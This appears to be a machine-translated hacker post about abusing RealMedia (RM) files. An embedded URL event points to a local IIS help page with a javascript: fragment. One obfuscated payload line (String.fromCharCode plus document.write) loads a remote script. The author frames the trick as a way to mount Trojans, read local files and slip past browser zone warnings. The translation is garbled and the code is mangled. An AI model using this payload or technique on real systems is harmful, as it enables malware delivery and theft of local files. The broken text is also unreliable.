Insert advertisement code in RM format

This was a long time ago, and it was used to mount Trojans, but suddenly remembered that if you could jump to javascript: This format executes JS locally CodeIt means something, so I tested it. the results are quite frustrating. realplay seems to have some restrictions on this, and check the inserted RM file to see that it is actually a limitation. It seems that there are not many protocols supported .... try file: //. The result shows that it is supported, so I thought of the HTML injection from the past. If it is added up, it should be somewhat effective.

Copy codeThe Code is as follows: U 00:00:02 file: // C: \ WINDOWS \ HELP \ IISHelp \ common \ 400.htm# javascript: document. write (string. fromcharcode (60,115, 99,114,105,112,116, 32,115,114, 104,116,116,112, 47,116,101,115,116, 46,106,115, 47,115, 99,114,105,112,116, 62 ))/

When this code is inserted, there will be a strange connection. Clicking it will execute the js I specified (Microsoft engineers are still very careful. For now, the HTML found normally is like this, and click ......), in addition, it turns out that it is indeed executed in the local region. You can read local files ...... in addition, in the case of RealONE playback, the warning that IE executes the JS Code locally will disappear magically, so it is played on the HTML page. It is really depressing. A warning will be given when any HTML is opened, however, it is still amazing to open files in the local region ..... normally, use window. open is not allowed ..... the limitations of the domain can be broken through. If you want to find an HTML with a local problem, OK .......

I really hope there will be something wrong with these edges. I feel it is still possible.